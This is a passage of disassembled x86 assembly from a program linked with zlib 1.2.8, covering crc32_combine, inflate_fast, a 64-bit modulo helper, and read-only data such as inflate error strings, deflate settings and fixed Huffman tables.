-296(%ebp), %eax shrdl $1, %ecx, %eax sarl $1, %ecx movl %ecx, 12(%ebp) orl %eax, %ecx movl %eax, 8(%ebp) jne .L08053DAE .L08053E8C: movl -288(%ebp), %esi xorl %esi, -284(%ebp) .L08053E98: movl -284(%ebp), %eax addl $284, %esp popl %ebx popl %esi popl %edi leave ret .L08053EA9: jl .L08053E98 .L08053EAB: cmpl $0, 8(%ebp) ja .L08053D36 .L08053EB5: movl -284(%ebp), %eax addl $284, %esp popl %ebx popl %esi popl %edi leave ret .size crc32_combine_, .-crc32_combine_ # ---------------------- .L08053EC6: .p2align 3 # ---------------------- .globl crc32_combine .type crc32_combine, @function crc32_combine: pushl %ebp movl %esp, %ebp pushl %ebx movl 16(%ebp), %ecx movl %ecx, %ebx sarl $31, %ebx movl 8(%ebp), %eax movl 12(%ebp), %edx movl %ecx, 8(%ebp) movl %ebx, 12(%ebp) popl %ebx leave jmp crc32_combine_ .size crc32_combine, .-crc32_combine # ---------------------- .L08053EE7: .p2align 3 # ---------------------- .globl crc32_combine64 .type crc32_combine64, @function crc32_combine64: pushl %ebp movl %esp, %ebp pushl %ebx movl 20(%ebp), %ebx movl 16(%ebp), %ecx movl 8(%ebp), %eax movl 12(%ebp), %edx movl %ecx, 8(%ebp) movl %ebx, 12(%ebp) popl %ebx leave jmp crc32_combine_ .size crc32_combine64, .-crc32_combine64 # ---------------------- .L08053F05: .p2align 3 # ---------------------- .hidden inflate_fast .globl inflate_fast .type inflate_fast, @function inflate_fast: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $68, %esp movl 8(%ebp), %esi movl (%esi), %ebx decl %ebx movl %ebx, %edi addl 4(%esi), %edi movl 8(%ebp), %ecx subl $5, %edi movl 28(%ecx), %eax movl %edi, -24(%ebp) movl 12(%esi), %edi movl %eax, -16(%ebp) movl 12(%ebp), %edx movl 16(%esi), %eax decl %edi subl %eax, %edx movl %edi, %ecx subl %edx, %ecx movl -16(%ebp), %edx movl %ebx, -20(%ebp) movl %ecx, -28(%ebp) movl -16(%ebp), %ebx movl 44(%edx), %ecx leal -257(%eax,%edi), %esi movl %ecx, -40(%ebp) movl 40(%ebx), %eax movl -16(%ebp), %ecx movl %esi, -32(%ebp) movl %eax, -36(%ebp) movl -16(%ebp), %esi movl 76(%ecx), %eax movl 48(%esi), %ebx movl 80(%ecx), %edx movl %eax, -48(%ebp) movl $1, %eax movl %ebx, -44(%ebp) movl 60(%ecx), %esi movl 56(%ecx), %ebx movl %edx, -52(%ebp) movl 84(%ecx), %ecx movl %eax, %edx sall %cl, %edx movl %edx, %ecx decl %ecx movl -16(%ebp), %edx movl %ecx, -56(%ebp) movl 88(%edx), %ecx sall %cl, %eax movl 52(%edx), %ecx decl %eax decl %ecx movl %eax, -60(%ebp) movl %ecx, -68(%ebp) .L08053FA0: cmpl $14, %esi ja .L08053FC7 .L08053FA5: movl -20(%ebp), %edx movzbl 1(%edx), %eax addl $2, %edx movl %esi, %ecx movl %edx, -20(%ebp) sall %cl, %eax movzbl (%edx), %edx leal 8(%esi), %ecx leal (%ebx,%eax), %eax sall %cl, %edx leal (%eax,%edx), %ebx addl $16, %esi .L08053FC7: movl -56(%ebp), %eax andl %ebx, %eax jmp .L08053FEE .L08053FCE: .p2align 3 .L08053FD0: testb $16, %cl jne .L0805401E .L08053FD5: testb $64, %cl jne .L08054164 .L08053FDE: movl $1, %eax sall %cl, %eax decl %eax shrl $16, %edx andl %ebx, %eax leal (%edx,%eax), %eax .L08053FEE: movl -48(%ebp), %ecx movl (%ecx,%eax,4), %edx movzbl %dh, %ecx shrl %cl, %ebx subl %ecx, %esi movzbl %dl, %ecx testl %ecx, %ecx jne .L08053FD0 .L08054002: incl %edi shrl $16, %edx movb %dl, (%edi) .L08054008: movl -24(%ebp), %eax cmpl %eax, -20(%ebp) jae .L08054180 .L08054014: cmpl -32(%ebp), %edi jb .L08053FA0 .L08054019: jmp .L08054180 .L0805401E: shrl $16, %edx andl $15, %ecx movl %edx, -64(%ebp) movl %ecx, -80(%ebp) je .L08054057 .L0805402C: cmpl %ecx, %esi jae .L08054042 .L08054030: incl -20(%ebp) movl -20(%ebp), %edx movl %esi, %ecx movzbl (%edx), %eax sall %cl, %eax addl %eax, %ebx addl $8, %esi .L08054042: movb -80(%ebp), %cl movl $1, %eax sall %cl, %eax decl %eax andl %ebx, %eax addl %eax, -64(%ebp) shrl %cl, %ebx subl -80(%ebp), %esi .L08054057: cmpl $14, %esi ja .L0805407E .L0805405C: movl -20(%ebp), %edx movzbl 1(%edx), %eax addl $2, %edx movl %esi, %ecx movl %edx, -20(%ebp) sall %cl, %eax movzbl (%edx), %edx leal 8(%esi), %ecx leal (%ebx,%eax), %eax sall %cl, %edx leal (%eax,%edx), %ebx addl $16, %esi .L0805407E: movl -60(%ebp), %eax andl %ebx, %eax jmp .L080540A1 .L08054085: .p2align 3 .L08054088: testb $64, %cl jne .L0805422A .L08054091: movl $1, %eax sall %cl, %eax decl %eax shrl $16, %edx andl %ebx, %eax leal (%edx,%eax), %eax .L080540A1: movl -52(%ebp), %ecx movl (%ecx,%eax,4), %edx movzbl %dh, %ecx shrl %cl, %ebx subl %ecx, %esi movzbl %dl, %ecx testb $16, %cl je .L08054088 .L080540B6: andl $15, %ecx shrl $16, %edx cmpl %ecx, %esi movl %ecx, -80(%ebp) jae .L080540EF .L080540C3: incl -20(%ebp) movl -20(%ebp), %eax movzbl (%eax), %eax movl %esi, %ecx movl %eax, -76(%ebp) addl $8, %esi sall %cl, %eax addl %eax, %ebx cmpl -80(%ebp), %esi jae .L080540EF .L080540DD: incl -20(%ebp) movl -20(%ebp), %ecx movzbl (%ecx), %eax movl %esi, %ecx sall %cl, %eax addl %eax, %ebx addl $8, %esi .L080540EF: movb -80(%ebp), %cl movl $1, %eax sall %cl, %eax decl %eax andl %ebx, %eax leal (%edx,%eax), %eax movl %eax, -72(%ebp) movl %edi, %eax subl -28(%ebp), %eax shrl %cl, %ebx subl -80(%ebp), %esi cmpl %eax, -72(%ebp) jbe .L08054239 .L08054115: movl -72(%ebp), %ecx subl %eax, %ecx cmpl -40(%ebp), %ecx jbe .L08054130 .L0805411F: movl -16(%ebp), %eax movl 7104(%eax), %edx testl %edx, %edx jne .L08054313 .L08054130: movl -44(%ebp), %edx testl %edx, %edx jne .L08054284 .L0805413B: movl -36(%ebp), %eax subl %ecx, %eax movl -68(%ebp), %edx addl %eax, %edx cmpl -64(%ebp), %ecx jae .L080542E6 .L0805414E: subl %ecx, -64(%ebp) .L08054151: incl %edx incl %edi movb (%edx), %al decl %ecx movb %al, (%edi) jne .L08054151 .L0805415A: movl %edi, %edx subl -72(%ebp), %edx jmp .L080542E6 .L08054164: andl $32, %ecx jne .L0805421C .L0805416D: movl 8(%ebp), %ecx movl $.LC08055411, 24(%ecx) .L08054177: movl -16(%ebp), %edx movl $29, (%edx) .L08054180: movl %esi, %eax shrl $3, %eax movl -20(%ebp), %edx subl %eax, %edx movl %esi, %ecx sall $3, %eax subl %eax, %ecx movl $1, %eax sall %cl, %eax leal -1(%eax), %esi andl %ebx, %esi leal 1(%edx), %eax movl 8(%ebp), %ebx movl %eax, (%ebx) cmpl -24(%ebp), %edx leal 1(%edi), %eax movl %eax, 12(%ebx) jae .L080541E6 .L080541B0: subl %edx, -24(%ebp) movl -24(%ebp), %eax addl $5, %eax movl 8(%ebp), %ebx cmpl -32(%ebp), %edi movl %eax, 4(%ebx) jae .L080541FB .L080541C4: subl %edi, -32(%ebp) movl -32(%ebp), %eax movl -16(%ebp), %edi movl 8(%ebp), %edx addl $257, %eax movl %eax, 16(%edx) movl %esi, 56(%edi) movl %ecx, 60(%edi) addl $68, %esp popl %ebx popl %esi popl %edi leave ret .L080541E6: subl -24(%ebp), %edx movl $5, %eax subl %edx, %eax movl 8(%ebp), %ebx cmpl -32(%ebp), %edi movl %eax, 4(%ebx) jb .L080541C4 .L080541FB: subl -32(%ebp), %edi movl $257, %eax movl 8(%ebp), %edx subl %edi, %eax movl -16(%ebp), %edi movl %eax, 16(%edx) movl %esi, 56(%edi) movl %ecx, 60(%edi) addl $68, %esp popl %ebx popl %esi popl %edi leave ret .L0805421C: movl -16(%ebp), %ecx movl $11, (%ecx) jmp .L08054180 .L0805422A: movl 8(%ebp), %edx movl $.LC08055369, 24(%edx) jmp .L08054177 .L08054239: movl %edi, %edx subl -72(%ebp), %edx .L0805423E: movb 1(%edx), %al movb %al, 1(%edi) movb 2(%edx), %cl movb %cl, 2(%edi) addl $3, %edx addl $3, %edi movb (%edx), %al movb %al, (%edi) subl $3, -64(%ebp) cmpl $2, -64(%ebp) ja .L0805423E .L0805425E: movl -64(%ebp), %ecx testl %ecx, %ecx je .L08054008 .L08054269: incl %edi movb 1(%edx), %al movb %al, (%edi) cmpl $1, -64(%ebp) jbe .L08054008 .L08054279: incl %edi movb 2(%edx), %cl movb %cl, (%edi) jmp .L08054008 .L08054284: cmpl %ecx, -44(%ebp) jae .L080542F1 .L08054289: movl -36(%ebp), %eax addl -44(%ebp), %eax subl %ecx, %eax movl -68(%ebp), %edx subl -44(%ebp), %ecx addl %eax, %edx cmpl -64(%ebp), %ecx jae .L080542E6 .L0805429E: subl %ecx, -64(%ebp) .L080542A1: incl %edx incl %edi movb (%edx), %al decl %ecx movb %al, (%edi) jne .L080542A1 .L080542AA: movl -64(%ebp), %ecx cmpl %ecx, -44(%ebp) movl -68(%ebp), %edx jae .L080542E6 .L080542B5: movl -44(%ebp), %ecx subl %ecx, -64(%ebp) .L080542BB: incl %edx incl %edi movb (%edx), %al decl %ecx movb %al, (%edi) jne .L080542BB .L080542C4: movl %edi, %edx subl -72(%ebp), %edx jmp .L080542E6 .L080542CB: .p2align 2 .L080542CC: movb 1(%edx), %cl movb %cl, 1(%edi) movb 2(%edx), %al movb %al, 2(%edi) addl $3, %edx movb (%edx), %cl addl $3, %edi movb %cl, (%edi) subl $3, -64(%ebp) .L080542E6: cmpl $2, -64(%ebp) ja .L080542CC .L080542EC: jmp .L0805425E .L080542F1: movl -44(%ebp), %eax subl %ecx, %eax movl -68(%ebp), %edx addl %eax, %edx cmpl -64(%ebp), %ecx jae .L080542E6 .L08054300: subl %ecx, -64(%ebp) .L08054303: incl %edx incl %edi movb (%edx), %al decl %ecx movb %al, (%edi) jne .L08054303 .L0805430C: movl %edi, %edx subl -72(%ebp), %edx jmp .L080542E6 .L08054313: movl 8(%ebp), %eax movl -16(%ebp), %edx movl $.LC0805534B, 24(%eax) movl $29, (%edx) jmp .L08054180 .size inflate_fast, .-inflate_fast # ---------------------- .L0805432B: .p2align 2 # ---------------------- .hidden __moddi3 .globl __moddi3 .type __moddi3, @function __moddi3: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi subl $48, %esp movl 12(%ebp), %edi testl %edi, %edi movl $0, -32(%ebp) movl $0, -28(%ebp) movl $0, -20(%ebp) movl 8(%ebp), %esi movl 16(%ebp), %eax movl 20(%ebp), %edx js .L08054480 .L0805435D: testl %edx, %edx js .L08054474 .L08054365: leal -16(%ebp), %ecx testl %edx, %edx movl %ecx, -24(%ebp) movl %eax, -52(%ebp) movl %edx, -36(%ebp) movl %esi, -40(%ebp) movl %edi, -44(%ebp) jne .L080543B8 .L0805437B: cmpl %edi, %eax jbe .L08054448 .L08054383: movl %esi, %eax movl %edi, %edx divl -52(%ebp) .L0805438A: movl -24(%ebp), %eax testl %eax, %eax movl %edx, -40(%ebp) je .L080543AF .L08054394: movl -40(%ebp), %eax movl %eax, -32(%ebp) movl $0, -28(%ebp) .L080543A1: movl -24(%ebp), %eax movl -32(%ebp), %edx movl -28(%ebp), %ecx movl %edx, (%eax) movl %ecx, 4(%eax) .L080543AF: movl -16(%ebp), %eax movl -12(%ebp), %edx jmp .L080543D4 .L080543B7: .p2align 3 .L080543B8: movl -44(%ebp), %edx cmpl %edx, -36(%ebp) jbe .L080543F0 .L080543C0: movl %esi, -32(%ebp) movl %edx, -28(%ebp) movl -32(%ebp), %eax movl -28(%ebp), %edx movl %eax, -16(%ebp) movl %edx, -12(%ebp) .p2align 2 .L080543D4: movl -20(%ebp), %ecx testl %ecx, %ecx je .L080543E8 .L080543DB: negl %eax adcl $0, %edx negl %edx movl %eax, -16(%ebp) movl %edx, -12(%ebp) .L080543E8: addl $48, %esp popl %esi popl %edi leave ret .L080543EF: .p2align 3 .L080543F0: bsrl -36(%ebp), %eax movl %eax, %esi xorl $31, %esi jne .L08054494 .L080543FF: movl -36(%ebp), %ecx cmpl %ecx, -44(%ebp) ja .L0805440F .L08054407: movl -52(%ebp), %eax cmpl %eax, -40(%ebp) jb .L08054421 .L0805440F: movl -44(%ebp), %ecx movl -40(%ebp), %edx subl -52(%ebp), %edx sbbl -36(%ebp), %ecx movl %edx, -40(%ebp) movl %ecx, -44(%ebp) .L08054421: movl -24(%ebp), %eax testl %eax, %eax je .L080543AF .L08054428: movl -40(%ebp), %eax movl -44(%ebp), %edx movl %eax, -32(%ebp) movl %edx, -28(%ebp) movl -24(%ebp), %ecx movl -32(%ebp), %eax movl -28(%ebp), %edx movl %eax, (%ecx) movl %edx, 4(%ecx) jmp .L080543AF .L08054447: .p2align 3 .L08054448: movl -52(%ebp), %eax testl %eax, %eax jne .L0805445C .L0805444F: movl $1, %eax xorl %edx, %edx divl -52(%ebp) movl %eax, -52(%ebp) .L0805445C: movl -44(%ebp), %eax movl -36(%ebp), %edx divl -52(%ebp) movl -40(%ebp), %eax movl %edx, -44(%ebp) divl -52(%ebp) jmp .L0805438A .L08054473: .p2align 2 .L08054474: negl %eax adcl $0, %edx negl %edx jmp .L08054365 .L08054480: negl %esi adcl $0, %edi negl %edi movl $-1, -20(%ebp) jmp .L0805435D .L08054493: .p2align 2 .L08054494: movl $32, %eax subl %esi, %eax movl %eax, -48(%ebp) movl -36(%ebp), %edx movl %esi, %ecx sall %cl, %edx movl -52(%ebp), %eax movb -48(%ebp), %cl shrl %cl, %eax orl %eax, %edx movl %esi, %ecx sall %cl, -52(%ebp) movl %edx, -36(%ebp) movb -48(%ebp), %cl movl -44(%ebp), %edx shrl %cl, %edx movl -44(%ebp), %edi movl %esi, %ecx sall %cl, %edi movl -40(%ebp), %eax movb -48(%ebp), %cl shrl %cl, %eax orl %eax, %edi movl %edi, -44(%ebp) movl %edi, %eax movl %esi, %ecx divl -36(%ebp) movl %edx, -44(%ebp) sall %cl, -40(%ebp) mull -52(%ebp) cmpl -44(%ebp), %edx movl %eax, %edi ja .L080544F1 .L080544EA: jne .L080544F7 .L080544EC: cmpl -40(%ebp), %eax jbe .L080544F7 .L080544F1: subl -52(%ebp), %edi sbbl -36(%ebp), %edx .L080544F7: movl -24(%ebp), %eax testl %eax, %eax je .L080543AF .L08054502: movl -44(%ebp), %ecx movl -40(%ebp), %eax subl %edi, %eax sbbl %edx, %ecx movl %ecx, -44(%ebp) movl %ecx, %edx movb -48(%ebp), %cl sall %cl, %edx movl %esi, %ecx movl %eax, -40(%ebp) shrl %cl, %eax orl %eax, %edx movl -44(%ebp), %eax shrl %cl, %eax movl %edx, -32(%ebp) movl %eax, -28(%ebp) jmp .L080543A1 .size __moddi3, .-__moddi3 # ---------------------- .section .rodata .LC08054628: .string "%s: %s\n" .LC08054630: .string "fread" .LC08054636: .string "failed gzclose" .LC08054645: .string "failed fwrite" .LC08054653: .string "failed fclose" .LC08054661: .long 8021806 .LC08054665: .string "rb" .LC08054668: .ascii "%s: filename too long\n" .LC0805467E: .byte 0 .LC0805467F: .string "%s: can't gzopen %s\n" .LC08054694: .string "wb" .LC08054697: .string "wb6 " .LC0805469C: .string "gunzip" .LC080546A3: .string "zcat" .LC080546A8: .string "can't gzdopen stdout" .LC080546BD: .string "can't gzdopen stdin" .LC080546D1: .string ": " .LC080546D4: .value 29477 .LC080546D6: .value 29477 .LC080546D8: .string "%s" .LC080546DB: .string "<fd:%d>" .LC080546E3: .string "out of memory" # ---------------------- .LC080546F1: .zero 3 .align 4 .LC080546F4: .long .L08049326 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L0804934B .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L08049358 .long .L080491C5 .long .L08049365 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L08049372 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L0804937D .long .L080491C5 .long .L0804938A .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L08049397 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080491C5 .long .L080493A2 .long .L08049319 .LC0805482C: .string "1.2.8" .LC08054832: .ascii "compressed " .LC0805483D: .string "data error" .LC08054848: .string "unexpected end of file" # ---------------------- .LC0805485F: .byte 0 .align 2 .LC08054860: .string "internal error: inflate stream corrupt" # ---------------------- .LC08054887: .byte 0 .align 2 .LC08054888: .string "requested length does not fit in int" # ---------------------- .LC080548AD: .zero 3 .align 4 .LC080548B0: .string "out of room to push characters" # ---------------------- .LC080548CF: .byte 0 .align 2 .LC080548D0: .string "internal error: deflate stream corrupt" # ---------------------- .LC080548F7: .zero 9 # ---------------------- .globl deflate_copyright .type deflate_copyright, @object deflate_copyright: .string " deflate 1.2.8 Copyright 1995-2013 Jean-loup Gailly and Mark Adler " .size deflate_copyright, 68 # ---------------------- .LC08054944: .zero 28 # ---------------------- .local configuration_table .type configuration_table, @object configuration_table: .value 0 .value 0 .value 0 .value 0 .long deflate_stored .long 262148 .long 262152 .long deflate_fast .long 327684 .long 524304 .long deflate_fast .long 393220 .long 2097184 .long deflate_fast .long 262148 .long 1048592 .long deflate_slow .long 1048584 .long 2097184 .long deflate_slow .long 1048584 .long 8388736 .long deflate_slow .long 2097160 .long 16777344 .long deflate_slow .long 8388640 .long 67109122 .long deflate_slow .long 16908320 .long 268435714 .long deflate_slow .size configuration_table, 120 # ---------------------- .local my_version.0 .type my_version.0, @object my_version.0: .string "1.2.8" .size my_version.0, 6 # ---------------------- .LC080549DE: .value 0 # ---------------------- .align 32 .local order.0 .type order.0, @object order.0: .ascii "\020\000\021\000\022\000\000\000\010\000\007\000\t\000\006\000\n\000\005\000\013\000\004\000\014\000\003\000\r\000\002\000\016\000\001\000\017\000" .size order.0, 38 # ---------------------- .LC08054A06: .zero 26 # ---------------------- .local lenfix.1 .type lenfix.1, @object lenfix.1: .long 1888 .long 5244928 .long 1050624 .long 7538708 .long 2033426 .long 7342080 .long 3147776 .long 12585216 .long 657168 .long 6293504 .long 2099200 .long 10488064 .long 2048 .long 8390656 .long 4196352 .long 14682368 .long 395024 .long 5769216 .long 1574912 .long 9439488 .long 3868435 .long 7866368 .long 3672064 .long 13633792 .long 1115921 .long 6817792 .long 2623488 .long 11536640 .long 526336 .long 8914944 .long 4720640 .long 15730944 .long 263952 .long 5507072 .long 1312768 .long 14878741 .long 2819859 .long 7604224 .long 3409920 .long 13109504 .long 853777 .long 6555648 .long 2361344 .long 11012352 .long 264192 .long 8652800 .long 4458496 .long 15206656 .long 526096 .long 6031360 .long 1837056 .long 9963776 .long 5441300 .long 8128512 .long 3934208 .long 14158080 .long 1509138 .long 7079936 .long 2885632 .long 12060928 .long 788480 .long 9177088 .long 4982784 .long 16255232 .long 198416 .long 5376000 .long 1181696 .long 10684437 .long 2295571 .long 7473152 .long 3278848 .long 12847360 .long 722705 .long 6424576 .long 2230272 .long 10750208 .long 133120 .long 8521728 .long 4327424 .long 14944512 .long 460560 .long 5900288 .long 1705984 .long 9701632 .long 4392724 .long 7997440 .long 3803136 .long 13895936 .long 1246994 .long 6948864 .long 2754560 .long 11798784 .long 657408 .long 9046016 .long 4851712 .long 15993088 .long 329488 .long 5638144 .long 1443840 .long 2112 .long 3344147 .long 7735296 .long 3540992 .long 13371648 .long 984849 .long 6686720 .long 2492416 .long 11274496 .long 395264 .long 8783872 .long 4589568 .long 15468800 .long 591632 .long 6162432 .long 1968128 .long 10225920 .long 6489876 .long 8259584 .long 4065280 .long 14420224 .long 1771282 .long 7211008 .long 3016704 .long 12323072 .long 919552 .long 9308160 .long 5113856 .long 16517376 .long 1888 .long 5310464 .long 1116160 .long 8587285 .long 2033426 .long 7407616 .long 3213312 .long 12716288 .long 657168 .long 6359040 .long 2164736 .long 10619136 .long 67584 .long 8456192 .long 4261888 .long 14813440 .long 395024 .long 5834752 .long 1640448 .long 9570560 .long 3868435 .long 7931904 .long 3737600 .long 13764864 .long 1115921 .long 6883328 .long 2689024 .long 11667712 .long 591872 .long 8980480 .long 4786176 .long 15862016 .long 263952 .long 5572608 .long 1378304 .long 16910352 .long 2819859 .long 7669760 .long 3475456 .long 13240576 .long 853777 .long 6621184 .long 2426880 .long 11143424 .long 329728 .long 8718336 .long 4524032 .long 15337728 .long 526096 .long 6096896 .long 1902592 .long 10094848 .long 5441300 .long 8194048 .long 3999744 .long 14289152 .long 1509138 .long 7145472 .long 2951168 .long 12192000 .long 854016 .long 9242624 .long 5048320 .long 16386304 .long 198416 .long 5441536 .long 1247232 .long 12781589 .long 2295571 .long 7538688 .long 3344384 .long 12978432 .long 722705 .long 6490112 .long 2295808 .long 10881280 .long 198656 .long 8587264 .long 4392960 .long 15075584 .long 460560 .long 5965824 .long 1771520 .long 9832704 .long 4392724 .long 8062976 .long 3868672 .long 14027008 .long 1246994 .long 7014400 .long 2820096 .long 11929856 .long 722944 .long 9111552 .long 4917248 .long 16124160 .long 329488 .long 5703680 .long 1509376 .long 2112 .long 3344147 .long 7800832 .long 3606528 .long 13502720 .long 984849 .long 6752256 .long 2557952 .long 11405568 .long 460800 .long 8849408 .long 4655104 .long 15599872 .long 591632 .long 6227968 .long 2033664 .long 10356992 .long 6489876 .long 8325120 .long 4130816 .long 14551296 .long 1771282 .long 7276544 .long 3082240 .long 12454144 .long 985088 .long 9373696 .long 5179392 .long 16648448 .long 1888 .long 5244928 .long 1050624 .long 7538708 .long 2033426 .long 7342080 .long 3147776 .long 12650752 .long 657168 .long 6293504 .long 2099200 .long 10553600 .long 2048 .long 8390656 .long 4196352 .long 14747904 .long 395024 .long 5769216 .long 1574912 .long 9505024 .long 3868435 .long 7866368 .long 3672064 .long 13699328 .long 1115921 .long 6817792 .long 2623488 .long 11602176 .long 526336 .long 8914944 .long 4720640 .long 15796480 .long 263952 .long 5507072 .long 1312768 .long 14878741 .long 2819859 .long 7604224 .long 3409920 .long 13175040 .long 853777 .long 6555648 .long 2361344 .long 11077888 .long 264192 .long 8652800 .long 4458496 .long 15272192 .long 526096 .long 6031360 .long 1837056 .long 10029312 .long 5441300 .long 8128512 .long 3934208 .long 14223616 .long 1509138 .long 7079936 .long 2885632 .long 12126464 .long 788480 .long 9177088 .long 4982784 .long 16320768 .long 198416 .long 5376000 .long 1181696 .long 10684437 .long 2295571 .long 7473152 .long 3278848 .long 12912896 .long 722705 .long 6424576 .long 2230272 .long 10815744 .long 133120 .long 8521728 .long 4327424 .long 15010048 .long 460560 .long 5900288 .long 1705984 .long 9767168 .long 4392724 .long 7997440 .long 3803136 .long 13961472 .long 1246994 .long 6948864 .long 2754560 .long 11864320 .long 657408 .long 9046016 .long 4851712 .long 16058624 .long 329488 .long 5638144 .long 1443840 .long 2112 .long 3344147 .long 7735296 .long 3540992 .long 13437184 .long 984849 .long 6686720 .long 2492416 .long 11340032 .long 395264 .long 8783872 .long 4589568 .long 15534336 .long 591632 .long 6162432 .long 1968128 .long 10291456 .long 6489876 .long 8259584 .long 4065280 .long 14485760 .long 1771282 .long 7211008 .long 3016704 .long 12388608 .long 919552 .long 9308160 .long 5113856 .long 16582912 .long 1888 .long 5310464 .long 1116160 .long 8587285 .long 2033426 .long 7407616 .long 3213312 .long 12781824 .long 657168 .long 6359040 .long 2164736 .long 10684672 .long 67584 .long 8456192 .long 4261888 .long 14878976 .long 395024 .long 5834752 .long 1640448 .long 9636096 .long 3868435 .long 7931904 .long 3737600 .long 13830400 .long 1115921 .long 6883328 .long 2689024 .long 11733248 .long 591872 .long 8980480 .long 4786176 .long 15927552 .long 263952 .long 5572608 .long 1378304 .long 16910352 .long 2819859 .long 7669760 .long 3475456 .long 13306112 .long 853777 .long 6621184 .long 2426880 .long 11208960 .long 329728 .long 8718336 .long 4524032 .long 15403264 .long 526096 .long 6096896 .long 1902592 .long 10160384 .long 5441300 .long 8194048 .long 3999744 .long 14354688 .long 1509138 .long 7145472 .long 2951168 .long 12257536 .long 854016 .long 9242624 .long 5048320 .long 16451840 .long 198416 .long 5441536 .long 1247232 .long 12781589 .long 2295571 .long 7538688 .long 3344384 .long 13043968 .long 722705 .long 6490112 .long 2295808 .long 10946816 .long 198656 .long 8587264 .long 4392960 .long 15141120 .long 460560 .long 5965824 .long 1771520 .long 9898240 .long 4392724 .long 8062976 .long 3868672 .long 14092544 .long 1246994 .long 7014400 .long 2820096 .long 11995392 .long 722944 .long 9111552 .long 4917248 .long 16189696 .long 329488 .long 5703680 .long 1509376 .long 2112 .long 3344147 .long 7800832 .long 3606528 .long 13568256 .long 984849 .long 6752256 .long 2557952 .long 11471104 .long 460800 .long 8849408 .long 4655104 .long 15665408 .long 591632 .long 6227968 .long 2033664 .long 10422528 .long 6489876 .long 8325120 .long 4130816 .long 14616832 .long 1771282 .long 7276544 .long 3082240 .long 12519680 .long 985088 .long 9373696 .long 5179392 .long 16713984 .size lenfix.1, 2048 # ---------------------- .local distfix.2 .type distfix.2, @object distfix.2: .long 66832 .long 16844055 .long 1115411 .long 268502299 .long 328977 .long 67175705 .long 4261141 .long 1073808669 .long 197904 .long 33621272 .long 2163988 .long 536937756 .long 591122 .long 134284570 .long 8455446 .long 1344 .long 132368 .long 25232663 .long 1639699 .long 402720027 .long 460049 .long 100730137 .long 6358293 .long 1610679581 .long 263440 .long 50398488 .long 3212564 .long 805373212 .long 853266 .long 201393434 .long 12649750 .long 1344 .LC080552A0: .long .L080500A4 .long .L0804F413 .long .L0804F760 .long .L0804F7AE .long .L080501B2 .long .L080501A2 .long .L0805009C .long .L08050094 .long .L080501AA .long .L0804F4DC .long .L0804F547 .long .L0804F570 .long .L0804FA34 .long .L08050144 .long .L0804FB0C .long .L0804FB12 .long .L0804F45D .long .L08050035 .long .L0804FDF3 .long .L0804FB2D .long .L0804FB33 .long .L0804FC51 .long .L0804FCAC .long .L0804FA74 .long .L0804FAC6 .long .L0804FEE5 .long .L0804FF71 .long .L0804FF1B .long .L0804FED9 .long .L0804FF0F .long .L0804FDDC .LC0805531C: .string "unknown compression method" .LC08055337: .ascii "header " .LC0805533E: .string "crc mismatch" .LC0805534B: .string "invalid distance too far back" .LC08055369: .ascii "invalid distance code" .LC0805537E: .byte 0 .LC0805537F: .string "incorrect length check" .LC08055396: .string "incorrect data check" .LC080553AB: .string "incorrect header check" .LC080553C2: .string "invalid stored block lengths" .LC080553DF: .string "invalid code lengths set" .LC080553F8: .string "unknown header flags set" .LC08055411: .string "invalid literal/length code" .LC0805542D: .string "invalid literal/lengths set" .LC08055449: .string "invalid distances set" .LC0805545F: .string "invalid bit length repeat" .LC08055479: .string "invalid window size" .LC0805548D: .string "invalid block type" .LC080554A0: .string "too many length or distance symbols" .LC080554C4: .string "invalid code -- missing end-of-block" .size distfix.2, 128 # ---------------------- .LC080554E9: .zero 23 # ---------------------- .globl inflate_copyright .type inflate_copyright, @object inflate_copyright: .string " inflate 1.2.8 Copyright 1995-2013 Mark Adler " .size inflate_copyright, 47 # ---------------------- .LC0805552F: .zero 17 # ---------------------- .local lbase.0 .type lbase.0, @object lbase.0: .ascii "\003\000\004\000\005\000\006\000\007\000\010\000\t\000\n\000\013\000\r\000\017\000\021\000\023\000\027\000\033\000\037\000#\000+\0003\000;\000C\000S\000c\000s\000\203\000\243\000\303\000\343\000\002\001\000\000\000\000" .size lbase.0, 62 # ---------------------- .LC0805557E: .value 0 # ---------------------- .align 4 .local lext.1 .type lext.1, @object lext.1: .ascii "\020\000\020\000\020\000\020\000\020\000\020\000\020\000\020\000\021\000\021\000\021\000\021\000\022\000\022\000\022\000\022\000\023\000\023\000\023\000\023\000\024\000\024\000\024\000\024\000\025\000\025\000\025\000\025\000\020\000H\000N\000" .size lext.1, 62 # ---------------------- .LC080555BE: .value 0 # ---------------------- .align 4 .local dbase.2 .type dbase.2, @object dbase.2: .long 131073 .long 262147 .long 458757 .long 851977 .long 1638417 .long 3211297 .long 6357057 .long 12648577 .long 25231617 .long 50397697 .long 100729857 .long 201394177 .long 402722817 .long 805380097 .long 1610694657 .long 0 .size dbase.2, 64 # ---------------------- .local dext.3 .type dext.3, @object dext.3: .long 1048592 .long 1048592 .long 1114129 .long 1179666 .long 1245203 .long 1310740 .long 1376277 .long 1441814 .long 1507351 .long 1572888 .long 1638425 .long 1703962 .long 1769499 .long 1835036 .long 1900573 .long 4194368 .size dext.3, 64 # ---------------------- .hidden _length_code .globl _length_code .type _length_code, @object _length_code: .long 50462976 .long 117835012 .long 151586824 .long 185272842 .long 202116108 .long 218959117 .long 235802126 